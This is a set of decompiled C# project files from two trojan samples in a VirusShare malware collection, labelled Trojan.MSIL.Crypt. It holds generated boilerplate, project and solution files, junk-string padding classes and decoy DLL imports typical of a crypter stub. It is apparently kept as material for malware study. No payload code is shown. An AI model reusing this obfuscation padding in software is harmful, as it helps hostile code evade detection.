// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace WindowsApplication1.My.Resources
|
||||
{
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) WindowsApplication1.My.Resources.Resources.resourceMan, (object) null))
|
||||
WindowsApplication1.My.Resources.Resources.resourceMan = new ResourceManager("WindowsApplication1.Resources", typeof (WindowsApplication1.My.Resources.Resources).Assembly);
|
||||
return WindowsApplication1.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => WindowsApplication1.My.Resources.Resources.resourceCulture;
|
||||
set => WindowsApplication1.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{163FD512-2E7F-46AB-B7FC-0B557DB928EE}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>stub</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>WindowsApplication1</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.csproj", "{163FD512-2E7F-46AB-B7FC-0B557DB928EE}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{163FD512-2E7F-46AB-B7FC-0B557DB928EE}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCopyright("Copyright")]
|
||||
[assembly: AssemblyDescription("Description")]
|
||||
[assembly: AssemblyTrademark("Trademark")]
|
||||
[assembly: AssemblyTitle("Title")]
|
||||
[assembly: Guid("c39bc84d-4a07-472e-b030-7a7b47bb52b3")]
|
||||
[assembly: AssemblyProduct("Product")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Server</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="afwwfafwafawfwa.cs" />
|
||||
<Compile Include="sakiajfwefjwa.cs" />
|
||||
<Compile Include="jdawdiawhiwhfifaw.cs" />
|
||||
<Compile Include="agawhhwahwwhwh.cs" />
|
||||
<Compile Include="gawhwahawahw.cs" />
|
||||
<Compile Include="dkawod.cs" />
|
||||
<Compile Include="aheehzhdzdhzez.cs" />
|
||||
<Compile Include="justsomeshit.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.csproj", "{C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{C6267EB2-7B80-4C06-9AA6-1E506F40D7A5}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: afwwfafwafawfwa
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class afwwfafwafawfwa
|
||||
{
|
||||
public static void gagawgawgwa()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa"
|
||||
};
|
||||
}
|
||||
|
||||
public static void eleven()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa"
|
||||
};
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: agawhhwahwwhwh
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class agawhhwahwwhwh
|
||||
{
|
||||
public static void eleven()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList()
|
||||
{
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz",
|
||||
(object) "dawojdwoajdwojdwaoj",
|
||||
(object) "kowaddkwodowakdaowk",
|
||||
(object) "wafkwaofkawfofkwfwofwkw",
|
||||
(object) "kdaowkdwawdk",
|
||||
(object) "dawkodwa",
|
||||
(object) "dawkodwa",
|
||||
(object) "dzzz"
|
||||
};
|
||||
}
|
||||
}
|
||||
+300
@@ -0,0 +1,300 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: aheehzhdzdhzez
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class aheehzhdzdhzez
|
||||
{
|
||||
[DllImport("Cry.dll", EntryPoint = "usep32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern char caaPProceL(short window, long name, ArrayList msg, byte[] cbuff);
|
||||
|
||||
[DllImport("Bc.dll", EntryPoint = "Wondows", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern string BcicCry(int msg, ArrayList name, int hkey, byte[] xPa);
|
||||
|
||||
[DllImport("LoLer.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern string CryaPzc(
|
||||
long hkey,
|
||||
int name,
|
||||
char crap,
|
||||
int license,
|
||||
byte[] path,
|
||||
StringBuilder number,
|
||||
string[] Zfinder);
|
||||
|
||||
[DllImport("wc.dll", EntryPoint = "mu", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern int aPcaVc(
|
||||
ArrayList crap,
|
||||
char name,
|
||||
[MarshalAs(UnmanagedType.VBByRefStr)] ref string count,
|
||||
long user,
|
||||
string[] moIdea);
|
||||
|
||||
